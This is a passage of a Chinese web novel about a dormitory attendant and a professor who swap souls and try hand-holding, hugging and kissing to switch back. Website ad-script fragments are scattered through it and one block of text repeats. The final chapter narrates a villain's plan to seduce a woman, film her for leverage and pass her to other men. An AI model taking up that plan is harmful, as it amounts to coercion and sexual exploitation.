沈之牧转过头时,唇角也跟着勾起来。 看着女人用他的脸做出各种生动的表情,他怎么可能无动于衷。 陪伴了他二十八年,同时也看了二十八年的脸,作为主人,他自己都没开发出如此多的表情了。 白幺幺回到客厅刚坐下,门铃声响了。 她下意识的想喊沈之牧,不过很快反应过来,喊人过去开门怎么行,此刻在别人眼中她才是沈之牧。 不过不能让真的沈之牧去开门,但总要让人一起过去看下来的人是谁,不然她哪里应付得了。 在白幺幺纠结时,沈之牧已经从厨房走出来,他应该也是听到门铃声了。 白幺幺求助的看向沈之牧,他们现在这情况,怎么有像是怕被人捉奸当场的即视感。 沈之牧收到她的求助,无声回了个“一切有我的”安抚性眼神。 两人一前一后来到门后,沈之牧在门框边墙上的可视门铃显示屏上按了按,门外按铃的人出现在上面。 看清来人是谁,白幺幺和沈之牧神同步的蹙眉,心里同时来了句“怎么是这小子?” 门外按铃的人不是别人,正是唐文译同学。 这小子闲着呀! 从见到人进去后,他就趴在阳台上眼睛不眨的盯着沈之牧这栋楼的大门,他要看着人什么时候离开。 十分钟过去了,没见人出来。 二十分钟过去了,依旧没见人出来。 三十分钟过去了,人还是没出来。 唐文译同学的耐心耗光了。 再次在好奇心驱使下,唐文译换身衣服出门直奔老师家,一副去堵人的架势。 虽然他会奇怪老师和学校的宿管阿姨怎么会认识,但认识就认识,大大方方承认就是了。 这种明明认识,私下约见面,现在又登堂入室,却一直否认不认识,遮遮掩掩的态度反而让人生疑。 老师在其他方面都是一顶一的优秀没错,可是在女人这方面上,老师经验为零。 真要较真起来,感觉为负都不夸张。 作为老师的得意学生,唐文译同学觉得他挺不容易的,竟然操起老妈子的心来,担心老师会着了一些居心不良的女人的道。 唉,他果然是老师的好学生。 白幺幺若是知道唐文译的这番心理历程,一定会忍不住吐槽的,这个小世界的男主还真一点都不男主。 当然,也够厚脸皮的。 呵! 找了一堆冠冕堂皇的理由,不就是自己太八卦,想吃瓜,还是吃自己老师的瓜。 “是他?” 白幺幺做出微微有些慌的神情来,都不用沈之牧问,就自顾解释起来。 “这个学生我在学校见过他,就是我在去食堂路上,他突然跑过来和我搭讪,说他是你的学生,然后提起那天在咖啡馆的事,问我和你是不是认识?” “不过无论他怎么说,我都说和你不认识,同时坚持说那天他在咖啡馆看到的不是我。” “沈教授,你这个学生还挺可爱的”,白幺幺在可爱上的稍稍加重了下语气,继续道:“一开始上来就喊我姐,挺有礼貌的一同学,不过后面聊着聊着,我告诉他自己在学校做宿管,这位同学表情就变得有点怪怪的。” 白幺幺没有自嘲,更没有做出其他表情,露出个淡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 淡的笑意,平静阐述。 “我猜,沈教授你的这个学生应该是误会了什么,而后知道我是学校的宿管后,应该是反应过来他之前误会的事情根本不可能成立,因此就没继续缠着我,离开时对我的称呼也从姐改回了阿姨。” 沈之牧是谁,白幺幺的一点点情绪波动都逃不过他的眼睛。 压下忍不住要翘起的唇角,沈之牧淡声道:“他的确是我的学生,叫唐文译,学习上还行,就是这性子让我也有点头疼,还是需要多磨磨。” 白幺幺:……学习上就还行,性子也要磨,说好的得意门生了? 还是沈教授说话都这般谦虚! 白幺幺有点小紧张的揪着大腿侧的裤子布料,“那现在要怎么办?我要开门见他吗?还有你赶紧进屋躲起来,不然被他看见了,到时肯定解释不清楚。” 沈之牧摇了摇头,“走,回客厅,刚洗了些水果在厨房,我现在去端出来。。” “你挑喜欢吃的吃,不喜欢吃别勉强,还是一样的,喜欢吃什么,到时打我贴在冰箱上面的那个电话,让人送过来。” 白幺幺:“???” 这是真不管门外人的意思?! “等等,沈教授,你的学生还在门口,他会不会有什么急事要找你?真不需要见见吗?” 在门外探头探脑的唐文译同学:……满足好奇心算急事吗?吃瓜算急事吗?当然关心老师肯定算急事。 “不用管他,如果真有急事,他会打我电话的。” “走吧。” 沈之牧说完已经往厨房走去了。 白幺幺:……所以这两人的师生情是假的吧! 门铃响了又响,门外的人似乎一副等不到人来开门就不罢休的样子。 白幺幺能怎么办,开门肯定是不可能开门的,毕竟人家正主都发话了。 门铃响了不下十次才消停,或许是目的不纯,唐文译同学心虚,直接忘了可以打电话问问人在家没这茬。 在门外站了好一会儿,唐文译同学可不是那么容易放弃的主,他决定到楼下大门处守株待兔。 第81章 禁欲教授与被霸凌小可怜的反转人生(20) 经过唐文译这个小插曲,白幺幺和沈之牧坐在客厅沙发上边吃着水果边聊天,画面挺和谐的。 “沈教授,你说我们要不要一起研究下换回去的方法?” 白幺幺同志想搞事了,她想看沈教授脸上出现更多种表情来。 “你有什么想法吗?” 沈之牧停顿了下,“说出来,我们可以试试。” “也……也不是我有什么想法,就是觉得我们什么都不做太被动了。” “要是哪天互换后直接换不回来,那要怎么办?” 想到这种可能如果真的发生,白幺幺脸色微微有些发青“沈教授,如果真有这么一天,这怎么可以,对你太不公平了。” 白幺幺的话未言明,不过意思很直白。 两人灵魂互换,可能一开始看是白幺幺占着女性身份比较吃亏。 可是久了,甚至永远换不回来的话,那比较吃亏的就是沈之牧,甚至已经不能用吃亏来形容。 “而且现在这样时不时互换下的,我不管是生活还是工作都很简单,真说起来,不怎么受影响。” 白幺幺努力挤出一抹笑来,故意用轻松坦然的语气道:“说起来咱们偶尔这么互换下,我还能体验下有钱人的生活。说出来也不怕沈教授你笑话。” 她抬头环顾了下四周“如果没有和沈教授你发生灵魂互换,我这辈子应该没有机会住这样的房子。” “所以,其实我算是沾了沈教授你的光,而且,我很庆幸是和沈教授你灵魂互换,如果是其他人,真不敢想象他们会拿我的身体去做什么?” 沈之牧最大的优点就是能很好的当个安静听众,当然这也是他最大的缺点,至少白幺幺是这么想的。 情绪内敛,有种你说破了嘴皮子,他仍旧油盐不进,让你看不出他听进去了没,听进去后又在想什么。 就因越是这样的人,才越能激起白幺幺的挑战欲。 她想看到沈教授惊慌失措的样子,想看到他脸颊绯红眼神迷离的样子,还想看到他…… “……白女士,你很好,没必要妄自菲薄的,还有我……没有你想的那么好。” 沈之牧的声音将白幺幺飘远的思绪拉回来,语气很真诚,不会让人觉得他只是在讲客套话。 “是…是吗?” 白幺幺恍惚了下,第一次有人说她很好,眼尾不知不觉泛红了。 至于沈之牧最后那句,她只当人是在自谦,没放心上。 “嗯。” 虽然只是简单的一声,但沈之牧是加重了语气的。 “我们还是继续聊如何换回来的话题。” 沈之牧从茶几抽屉中拿出一个平板,打开在上面一番操作后,推到白幺幺面前。 “这是我综合网上各种信息,罗列出的可试操作的方案,你看看。” “哦,我这就看。” 很详细,能看出对方事先真的做足了功课。 有在上面看到亲密接触的法子,白幺幺心里很满意。 “沈教授,我看完了,你比较有主意,我们从哪个方法开始试,你来决定,我完全配合你。” 这种时候白幺幺不需要太有主见了,全凭沈教授牵着走就行。 沈之牧敛眸沉思下,说:“我们先试着重复灵魂互换前的行为,就算没办法换回来,或许也能从中受到点启发。” 白幺幺觉得沈之牧说得很在理,她支持道:“灵魂互换前,我在……泡澡,那……沈教授…我是现在就去试试吗?” 沈之牧摇头,“不用,还有我说的不是这次灵魂互换,而是第一次灵魂互换。” 白幺幺微愣下,而后沉默不说话了。 良久她呐呐开口,“沈教授,这个一定要重复那天的……” 下意识的,白幺幺不想让沈教授知道她曾经有过轻生的想法。 “可以不用,这只是其中一个方法,我们还有很多其他方法可以试。” 沈之牧打断白幺幺的话,他难得正色道:“只不过其他方法有些可能会对身体造成轻微伤害,我暂时不提倡,还有的就是要我们有肢体接触甚至接吻,你会介意吗?” 白幺幺:……怎么感觉这人越来越跟她是一路子的了! “……接…接吻……” 白幺幺小声的嘀咕,脸一下臊红了。 怕被沈教授误会,她忙赶紧摇头,“我不会介意的,一切都是为了解决灵魂互换的问题,这个思想觉悟我还是有的。” 紧接着,白幺幺一副豁出去的模样道:“沈教授,开始吧,我们要怎么做?你来。” 沈之牧:“……” 他仿佛透过身体,看到女人鼓着腮帮子做出一副慷慨就义的模样,很可爱。 像是才反应过来什么,白幺幺猛拍了下自己的脑袋。 在沈之牧疑惑的目光下,白幺幺解释道:“沈教授,让你来,你肯定很为难,还是应该让我来的,你看,本来就是我的身体,我自己触碰自己的身体,这样的挺好的。” 沈之牧:……用我的身体触碰你的身体,确定不算什么吗? 他知道女人一时陷入了一种思维盲区。 能感觉到女人因为 想通了这点,整个人一下子开朗不少,沈之牧并没有出声点破其中关键。 而且有时候,人需要难得糊涂。 形势一下反转,沈之牧成了砧板上待宰的鱼。 白幺幺想明白了,山不来就我,我就山。 沈教授他不上道了,那就别怪她贪玩了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 这个世界灵魂互换这个梗,她真是太喜欢了,很刺激。 女人的灵魂,男人的身体,去亲吻女人的身体,男人的魂,到底是一种什么感觉,白幺幺真的有点迫不及待了。 “沈教授,你准备好了吗?” 两人面对面站着,白幺幺一副已经准备好了的模样。 沈之牧:“……好了。” 白幺幺动作前不忘通知下,“那我要牵你……我自己的手了哦。” 白幺幺没有孟浪的一下子就来个十指紧扣,而是慢慢地一根手指一根手指的触碰贴近,直至两人手掌贴合。 沈之牧一直看着女人的动作,一开始还有点紧张,只是慢慢的,女人像是把自己的身体当作玩具般,起了玩心。 手掌相贴时,他甚至从女人眼中看出了她在心中无声感概,似是在感慨原来的她的手这么小。 小吗? 不的,没人比他更清楚,女人的手指纤细修长,和她的身材比例很称。 会觉得小,那不过是与他的手对比。 在沈之牧心中暗自摇头时,猝不及防的两人十指相扣了。 铮的一声,他心中的某根弦崩断了。 想通了这点,整个人一下子开朗不少,沈之牧并没有出声点破其中关键。 而且有时候,人需要难得糊涂。 形势一下反转,沈之牧成了砧板上待宰的鱼。 白幺幺想明白了,山不来就我,我就山。 沈教授他不上道了,那就别怪她贪玩了。 这个世界灵魂互换这个梗,她真是太喜欢了,很刺激。 女人的灵魂,男人的身体,去亲吻女人的身体,男人的魂,到底是一种什么感觉,白幺幺真的有点迫不及待了。 “沈教授,你准备好了吗?” 两人面对面站着,白幺幺一副已经准备好了的模样。 沈之牧:“……好了。” 白幺幺动作前不忘通知下,“那我要牵你……我自己的手了哦。” 白幺幺没有孟浪的一下子就来个十指紧扣,而是慢慢地一根手指一根手指的触碰贴近,直至两人手掌贴合。 沈之牧一直看着女人的动作,一开始还有点紧张,只是慢慢的,女人像是把自己的身体当作玩具般,起了玩心。 手掌相贴时,他甚至从女人眼中看出了她在心中无声感概,似是在感慨原来的她的手这么小。 小吗? 不的,没人比他更清楚,女人的手指纤细修长,和她的身材比例很称。 会觉得小,那不过是与他的手对比。 在沈之牧心中暗自摇头时,猝不及防的两人十指相扣了。 铮的一声,他心中的某根弦崩断了。 第82章 禁欲教授与被霸凌小可怜的反转人生(21) 白幺幺:“……” 不容易呀! 终于有反应了。 两人十指相扣时,身体皆像是触电般颤抖了下。 白幺幺惊喜的睁大眼眸,以为是方法有效,两人可能要换回去了。 她静静屏息等待,似是没有察觉到男人的异样般。 有生之年,沈之牧绝对不会想到他第一次和女人牵手,还是十指紧扣,会是在这样的情况下。 脊背微僵,心率加快,有些东西悄无声息的在胸腔中破土而出,似乎开始往不可控方向发展。 手下不自觉的微微发力,直到女人略显失望的声音响起,他才恍然回神,差点失态的把人手甩掉。 “怎么没换回来,还以为能成功了。” 白幺幺很快调整好情绪,“沈教授,我刚刚好像有感觉到一点点效果了,我们趁热打铁,抓紧时间继续。” 女人情绪似乎被调动起来,又似乎把找到灵魂换回的法子当作了己任,积极性空前的高涨。 心跳才堪堪平复,沈之牧没有出声,只是微颔首。 这次女人没有再询问他,而是自言自语般把接下来的打算说出来。 “牵手已经试过了,会不会是两具身体的接触面积太少了,所以才没效果,要不,现在试试拥抱。” 女人似乎忘记有他存在般,只因面前是她最熟悉的身体。 两人相交的手分开时,沈之牧心中涌起一股怅然若失的感觉。 女人很傻很天真,竟这般无条件的信任他。 沈之牧暗自在心里嗤笑,都不知道是不是该感叹他对外形象塑造之成功。 在这一场离奇诡诞的灵魂互换中,女人可能会时不时陷入思维盲区中 可是,他不会,一直都能保持头脑清醒,至始至终都是透过现象看本质,穿透他的身体,直视女人的灵魂。 这次女人没再征求他的意见,可能身体是自己的,女人没了一开始的紧张,不自在。 她渐渐全身心投入了让两人灵魂换回来的方法研究试验中。 与牵手时的磨磨蹭蹭不一样,这一次,女人张开双臂一把拥住了他……自己的身体。 两具身体紧紧相贴的那一刻,沈之牧清晰感觉到了他的灵魂在颤栗,之后就是瞳孔骤缩了下。 他……感觉到了。 他的双臂正紧紧环住女人纤细的腰肢,而女人衣服覆盖下丰满而坚挺的山峰则紧紧贴在他胸膛上,是那么的温热柔软富有弹性。 ……他的手曾不小心触碰到过,那种触感仿若又萦绕在指尖。 白幺幺没沈之牧那么快反应过来,她是感觉胸腔有点闷,身体下意识挣扎了下,然后整个人怔愣住了。 “换……换……回来了……” 白幺幺激动的仰头去看沈之牧,一时被兴奋冲昏了头,全然忘记两人目前的姿势有多暧昧 随着她仰头的动作,带动了胸前的柔软在沈之牧胸膛轻轻擦动了下,引得沈之牧身体绷紧,呼吸停滞了一瞬。 白幺幺浑然不觉,像是急着和好朋友分享喜悦的孩子,脸上布满激动的笑意。 “沈教授,你感受到了吗?换回来了,我们换回来了。” 白幺幺:??? ……剧情里没说抱一抱就会换回来呀,难道剧情中沈之牧和陈丽华两人根本没试着找换回来的方法,或者是没试过拥抱这个方法? 想不明白,白幺幺收起思绪,继续……占沈教授的便宜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人的身高差,一个微微低着头,一个仰着头,气息相交,目光对视,要多暧昧有多暧昧。 可两人却像是都还没反应过来,继续维持着这一动作交谈着。 沈之牧低低的“嗯”了声,垂眸静静的看着怀中的女人。 见沈之牧如此淡定,白幺幺后知后觉的反应过来自己太激动了。 不就是换回来了,看看人家沈教授如此沉稳,哪里像她这样。 情绪慢慢平复下来,白幺幺终于发现两人此时还抱着没分开,双颊一下子染上绯红,人也羞涩的移开视线。 她轻咬了粉唇,小声道:&34;沈教授,我们已经换回来了,你可以放开我了。“ 沈之牧没有说什么,直接用实际行动回复。 只是他松开环住女人腰肢的手并不是那么的干脆利落,很不符合他一贯的作风。 两人分开后,原以为会尴尬无言好一会儿。 可是老天爷似乎在和他们开玩笑。 亦或者是,老天爷在玩他们更准确。 随着两人完全断开身体接触,换回去的灵魂再次对换,而刚刚的换回来成了昙花一现。 “这……沈教授…我们…” 白幺幺茫然的看着沈之牧,心里则是乐坏了。 意不意外,惊不惊喜! 她简直佩服死制定这方小世界规则的人,灵魂互换,还现在这……太会玩了! “嗯,换回来了。” 沈之牧替白幺幺把话说完,他那语气虽还是平静,仔细听又不似以往的那种平静。 “为什么?难道是因为我们抱的时间不够长吗?” 白幺幺只是这么一说,却越想越有可能 第83章 禁欲教授与被霸凌小可怜的反转人生(22) 唉,没办法。 有些事总要有人去做,与其为难别人,不如为难自己,她可不就是在塑造为他人着想的伟大形象。 沈之牧难得轻咳一声,认真的看着白幺幺,“你要想好了。” 白幺幺被看得有些不自在,情不自禁的吞咽了下口水,眼珠子转了转,良久眸中慢慢透出坚定之色。 “我想好了,沈教授,我们总是要想办法结束灵魂互换的,不然你和我的生活会一直被这个不定时炸弹影响,很难有正常的生活。” 沈之牧嘴角翘起一个弧度,脸上染上淡淡笑意,眉眼也都跟着柔和了。 白幺幺:……这人笑啥? 重新斟酌了下自己刚刚说的话,没毛病,也没啥可笑的呀。 不懂就问。 “沈教授,你笑什么?我刚刚是说错什么吗?” 虽然笑得莫名其妙,但是笑得是真好看。 沈之牧并没有收起脸上笑意,“没有,你没有说错什么,我就是觉得自己挺幸运的,还有十分庆幸和我灵魂互换的是你。” 白幺幺:……小心脏有点受不住呀! “这……是这样吗?我还以为……” 白幺幺有些羞涩的低了低头,“我还以为和我这样的人灵魂互换,沈教授应该会很为难的。” “不会。” 沈之牧又补充了句,“不会为难,相反的,这将会是我人生中很有意义的一段趣事,也会是我未来非常重要的一段……美好回忆。” “是……是吗?” 白幺幺语言惯性的又回了句“我也是。” 因为她是低着头说这句话的,所以没有看到男人在听到她说“我也是”时,看着她的眼神变得别有深意起来。 既然说开了,两人明明应该要更坦然的回到最初的话题,同时开始付诸行动。 只是,白幺幺莫名束手束脚起来。 “沈教授,我们现在开始吗?还是,要改天,等我们先都准备下再开始?” 话一说完,白幺幺后知后觉反应过来自己说什么傻话。 改什么天,还有他们要准备什么呀? 刷个牙洗个脸,还是要沐浴、更衣、焚香。 白幺幺觉得她这个时候怎么能打退堂鼓,有时候犹犹豫豫的,真的办不成事的。 还有沈教授又该怎么看她? “不好意思,沈教授,我收回刚刚的话。” 白幺幺深呼吸了下,“我们还是现在就开始吧!” 说着她下意识昂首挺胸,像个要上前线战士,眼里全是英勇和无畏。 沈之牧就这么看着人自说自话,自我说服,眼里早已染上柔色而不自知。 有些事,就是要一鼓作气。 白幺幺显然明白,左右就是亲自己,没什么的。 她咬咬牙,伸手扶住……自己的双肩,低头对着自己的唇覆了上去。 双唇相贴时,那种直击灵魂的酥麻感简直快冲破天灵盖了。 换……换回了…… 白幺幺眨了眨眼睛,身体是一动也不敢动,心跳如擂鼓。 她怕两人唇一分离,灵魂立马又换回来,那不就是在做无用功。 有了前面拥抱的经验,这次两人肯定要……亲久一点,再久一点的。 两人微热的鼻息打在彼此脸上,酥酥麻麻的感觉从嘴唇开始蔓延,白幺幺的脸已经红得滴血,沈教授的也没好到哪里去。 时间一秒一秒的过去,白幺幺却越来越紧张,她不受控的吞咽了下口水,还不自在的想去抿下嘴唇。 只是她才有动作,耳边就响起低低男音。 “别乱动。” 声音是沈之牧从鼻腔中发出来的,有点含糊,不过还是能听清楚的。 白幺幺就像是上课开小差被老师抓包的学生,哪里还敢乱动,同时还给沈教授投去一个歉意的眼神。 行为上不能开小差,思想上总行吧。 白幺幺想,现在如果去参加那种看谁亲的最久的比赛,冠军必须是他们的。 似乎是察觉到她的不专心,沈之牧眸色深了深,嘴唇像是无意识的蠕动了下。 随着他这个小的不能再小的动作,两人唇瓣彻底严丝合缝的贴合在一起了。 白幺幺的注意力果然被拉回来了,她始终垂着眼眸,根本不敢去看男人。 也不知道过了多久,反正在白幺幺看来,已经过了很久。 她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋往后移了移,让两人的唇分开。 希望越大,失望越大。 “……沈教授” 白幺幺有点委屈了。 沈之牧抿了抿了唇,第一次安慰人道:“没事的,我们有很多的时间,可以慢慢找方法,最后总会找到的。” 白幺幺同志很想说会不会是亲吻的方式不对,只是吧,想了想,心急吃不了热豆腐。 今天手牵了,人抱了,也亲了,要是再来个舌吻啥的,确定不会把人吓跑吗? 事到如今,白幺幺只能闷闷的点了点头。 她并没有失落太久,很快就又恢复活力了。 “沈教授,一口不能吃成大胖子的道理我懂的,真算起来,咱们今天的收获已经很大了 。” “嗯。” 两人这一通折腾下来,时间已经来到了十一点。 白幺幺学校那边的工作还是比较有时间弹性的,白天有事的话,可以离开几个小时去办自己事的。 都这个点,两人又没换回来。 白幺幺还是有点过意不去,“沈教授,我现在去准备下午餐,你吃完再回学校吧。” 这反客为主做的还真是莫名的爽。 “可以。” 随后沈之牧跟着白幺幺进厨房,“我帮你打下手。” 吃过早上白幺幺煮的面,沈之牧很自觉的没再说什么他煮的话。 白幺幺只是迟疑了下,就从冰箱里拿出食材,指挥人去洗菜。 偌大的厨房里,两人配合默契,很快几道色香味俱全的菜摆上餐桌。 白幺幺要端最后一道汤时,被沈教授抢先一步了。 “烫,我来。” 这边两人吃上了美味的午饭,楼下某人早餐本就没吃什么,现在已经饿得前胸贴后背了。 原本等了一个小时,唐文译就有点想放弃了。 可是有点不甘心怎么办? 而且,待这么长时间还不下来,简直太可疑了。 最最关紧的是,他都等一个小时了,说不定人再过几分钟就下来了。 他现在离开,那不是太可惜了。 所以,唐文译等着等着,就到这个点了。 第84章 禁欲教授与被霸凌小可怜的反转人生(23) 人就是这样的,当你为某件事投入付出太多,明知结果难料,继续坚持吧,内心很踌躇,想放弃却又很难。 唐文译同学此时就是这样的情况。 让他现在放弃吧,那他已经付出的时间和精力不就打水漂了,有点不甘心 不放弃吧,要是人一天都不下来呢? 最后,唐文译给了自己一个时间,他就再等半个小时。 到时人还没下来,他就先回去吃饭。 之后再到物业那边找人要下监控视频,想着有视频为证,人到时应该没办法否认了吧。 唐文译也不知道他怎么就在这事轴上了,有点不像他,可开弓没有回头箭。 或许是皇天不负有心人吧!! 就在还差三分钟就到他给自己定的半小时时,人终于出来了。 午餐后,沈之牧就提出他先回学校,让白幺幺消食会儿就去午睡下,有什么解决不了的事就打电话给他。 离开前,他还让人如果在屋里呆的无聊了,傍晚的时候可以去小区里散散步,不然书房里有书,可以自己进去看看有没有喜欢的。 白幺幺应下后,提出要送他下楼,不过被沈之牧拒绝了。 白幺幺想了想也觉得有点不妥,就放弃这个想法,只是站在门口目送人进电梯,直到电梯门关上才回屋。 两人刚刚门口分别的画面,外人看了,不知道的还以为是小两口了。 来到一楼,沈之牧刚走出去,有一道身影就窜了出来挡在他面前。 “阿姨,是我,老师的学生,你来找老师的吗?我早上八九点的时候看你进去到现在才出来,你和老师很熟吗?” “还有你和老师在屋里干嘛?我过去找你们时,按了好几次门铃都没人来开门。” 唐文译的话像连珠炮砸来,他说话也很有技巧的,换成真的原主,此时肯定手足无措,露出端倪了。 可惜了,他面前的不是原主,也不是白幺幺,而是沈之牧。 沈之牧轻蹙了下眉心,声音微冷道:“叫什么阿姨,叫姐,你老师没教过你要懂礼貌吗?” 女人虽然没直说,但他知道的。 女人就是一种很可爱很简单的生物,会因为别人的一个称呼而心生愉悦,也会因为别人的一个称呼而郁郁不开心。 唐文译:??? 称呼啥的好像不是重点吧! 而且,他怎么就不懂礼貌呢?! 还有怎么感觉才多久没见,阿……这位大姐的眼神变得有点唬人了。 “姐。” 唐文译还是乖乖改口了,不就是改个称呼,很简单的。 沈之牧没回应,绕开人往小区大门走去。 唐文译莫名有些心虚的摸了摸鼻子,瞅着渐行渐远的身影,也忙屁颠屁颠的跟上去。 “姐,你等等我。” 沈之牧走得有些快,唐文译此时饿极了,追上人时,气息还有点小喘。 似是怕再次被人甩下,他下意识伸手的要去扯沈之牧的衣服,当然……不仅没能如愿,还收获了一记眼刀。 “别动手动脚的,难道你老师没教你男女授受不亲吗?” 唐文译:?!! ……他窦娥冤啊! 唐文译本来就是阳光大男孩类型的,嬉皮笑脸是常态,记吃不记打是本质。 “姐,咱们才多久没见,我怎么感觉你变了,还有你还没回答我刚才的问题了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沈之牧:“……” 他以前怎么没发现自己这个学生还有如此……聒噪的一面。 他一点不客气的冷声道:“你是谁?我和你很熟吗?我为什么回答你的问题?” 沈之牧的三连问把唐文译同学问懵了。 唐文译:……好…好像是这样子哦! 小唐同学第二次出师不利了,以前小唐同学因着成绩好,长相好,家世好,总是能在别人那获得优待。 可是在白幺幺这边,两次都碰壁了。 两人不知不觉出了小区大门,刚好与进小区的两人迎面撞上。 如果此时白幺幺在,一定会呦呵一句“熟人呀!” 陈雅恬是万万没想到会在这里碰到白幺幺的,一句“骚婊子”差点就要脱口而出。 眼角余光扫到白幺幺身侧的人时,及时收住声。 然后她飞快的挪动身体,挡在她旁边人的身前,一副母鸡护崽子的模样。 “白……白阿姨,你怎么会在这里?你是不是偷偷跟踪明凯哥哥,才知道明凯哥哥住这里的,现在跑到这里来,是不是想对明凯哥哥做什么?” “我不是警……和你说过了,明凯哥哥不会喜欢你这种女人的,你的喜欢和偷偷摸摸的行为只会给明凯哥哥带来困扰。” “而且,而且,你比明凯哥哥足足大十四岁,你们的身份差距悬殊,要是让学校的同学知道了,明凯哥哥被一个宿管阿姨喜欢着,这会让他很丢脸的,同学们肯定也会嘲笑他的。” “如果你继续这样骚扰纠缠明凯哥哥,逼急了我一定会去学校领导那投诉你的,反正你这样是不对的,我们还是学生,你已经是大人了,应该更懂得权衡利弊。” 陈雅恬 第85章 禁欲教授与被霸凌小可怜的反转人生(24) 沈之牧肯定是不认识陈雅恬的,不过却是一眼就认出陈雅恬了。 助理送过来的调查资料很详尽,里面的一些内容就有涉及到这人。 他当时看完资料,就动过替人将这烦恼解决了的念头,毕竟两人可是有了灵魂交换的情谊。 只是暂时还抽不开身,也没想好具体要如何处理,同时考虑过咨询下当事人比较好。 毕竟女人脸上的伤以及那晚到宿舍楼天台想要轻生,全是因为这人,替人解决麻烦容易,帮人解开心结却不容易。 不过,人的心还真是捉摸不透呀! 一开始看到这些资料,他有触动,但那更多是出于对女人遭遇的同情,以及惊叹一个小姑娘竟能如此恶毒。 可是陈雅恬的出现,让沈之牧再次回忆起资料里的种种内容。 那些文字快速在他脑中浮现,他仿佛在进行第二次阅读。 而此时,他的心境与第一次看这些资料时完全不同。 没有同情,也看不到其他了,心里溢满了心疼。 沈之牧不是个肤浅的人,更不是个懦夫。 两人认识的时间很短,可就因为认识的方式如此特殊,让女人在他这边成了很特殊很特殊的存在。 或许未来还可能成为他生命中最特殊的存在之一,这是他不久前才做下的决定。 沈之牧不是情感迟钝的人,他只是还从未动过心。 目前,他的确不清楚自己对女人是什么一种情感。 不过,都不重要。 从两人十指相扣的那一刻,他想到那句“执子之手与子偕老”。 这样的决定草率吗? 一点都不。 两人认识的时间长短是最不能说明什么,现实中青梅竹马敌不过天降的例子还少吗? 至于感情,那是可以培养的,先婚后爱的情况比比皆是。 一切的一切,沈之牧都是经过深思熟虑过了。 这是对女人的负责,也是对自己的负责。 “白阿姨,你怎么不说话,这种时候了还装什么哑巴,我要你现在当着我和明凯哥哥面做下保证,保证以后离明凯哥哥远远地,更要绝了那些恶心想法。” 陈雅恬见白幺幺垂眸不语,以为是因为在外面,对方想维持形象,所以还在演着了。 她心里不免得意,认为今天能稳稳拿捏住人。 至于她怕不怕白幺幺又动手,答案肯定是不怕,不说她们现在在外面,而且她旁边还有明凯哥哥了。 思绪被人打断,沈之牧周身气息彻底冷沉下来。 在他身边站着的唐文译最先被这波冷空气波及,他先是打了个寒颤,而后摸着鼻子往旁边挪了挪。 心里止不住嘀咕,好可怕,和老师冷下脸来时的模样有的一拼。 所以说两人不认识,呵呵,当他傻呀,才会信。 沈之牧抬眸给了陈雅恬一眼,那目光冰冷如刀。 沈教授是谁,当然不会掉价的和陈雅恬在公共场合争论撕逼,这种处理事情的方式也是最下策的。 既浪费了口舌,还平白让人看笑话。 他一言不发的绕过陈雅恬准备离开,处理这种人还不需要他亲自动手。 可是陈雅恬似是吃准了白幺幺在外面不敢乱来,至于后面想找她报复回来。 哼,她才不怕,大不了她不主动去学校,对方还能出学校来堵她吗? 所以,她一见人要走,那怎么行,伸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手就想去扯白幺幺的胳膊。 沈之牧察觉到她的动作,眉心蹙起,冰冷的眸中更是染上嫌恶之色,身形极快的避开了。 与此同时,有只手及时出现,一点也不怜香惜玉的将陈雅恬的手拍开了。 “同学,你说话就说话,别动手动脚的,不知道男女……不是,女女授授不亲吗?” 唐文译同学又不是什么傻白甜,陈雅恬刚刚的话,他是一个字也不信。 宿管姐和老师认识那是无疑的,至于两人什么关系,还有待他探索。 但就冲着和老师认识这点,他肯定不能看着人在他眼皮子底下被欺负了。 唐文译的这一拍把陈雅恬拍懵了。 等回神后,她眼泪扑簌簌的往下掉。 “呜呜……你是谁?” “为……为什么要护着这样一个女人,她最会骗人了,你是不是也被她蒙骗了?” “呜呜……这位哥哥,你应该和明凯哥哥一个年纪吧,你真的别被这女人骗了,这女人真的很坏的,她……她不知道仗着那副身体和……” 毕竟还只是个十八岁的小姑娘,平时逞凶斗狠,出口成脏在行。 但是一遇事,要玩心计,说话又要防止暴露本性,那真是完全不够看。 “闭嘴!” 沈之牧的一声厉喝,让在场的其他三人身体皆抖了下。 至于不远处的小区保安,他们认出唐文译,同时也认出早上白幺幺灵魂的沈之牧让他们放行的女人。 在这种高档小区当保安,没点眼力见是不行了,反正他们只要远远观望着,发现情况不对再过去。 或者业主有需要喊他们了,他们再过去。 曾明凯也像是 第86章 禁欲教授与被霸凌小可怜的反转人生(25) 曾明凯就是那种典型的四不男人,不承诺、不主动、不拒绝、不负责。 欲成大事者,必须利用身边一切可利用的,这是他给自己写的座右铭。 男人看女人,和女人看女人是完全不一样的,特别是曾明凯还有着一双阅过无数女人的眼睛。 如果不是在大庭广众被陈雅恬扯出来,要是这个宿管是偷偷来找他表白的。 嗯,凭着那隐藏在衣服下面的傲人弧度,以及没被衣服覆盖露在外面的好皮肤,曾明凯真不介意把人纳入后宫好好玩玩。 那种痴迷你痴迷得要死的女人,玩起来才带劲,特别是在床上。 到时再拍上点视频啥的,足够把人拿捏得死死的。 等玩腻了,扔了可惜,还可以拿来当往上爬的工具。 仅凭着那极品身段,还有那如雪皮肤,年龄啥的算个屁,应该多的是男人想玩。 所以曾明凯就继续放任陈雅恬对女人进行打击侮辱,事后他在以邻家妹妹不懂事为由头对人表示歉意,同时送上点温暖和关心。 到时,本来就痴恋他的人,不是更要爱他爱得要死,说不定当天就能把自己交付给他。 他妈在他八岁的时候就去世了,所以他爸是靠着多个女人发迹的是这事,他并没觉得什么。 后来发迹后,他爸女人不断的换,他更不会觉得有什么。 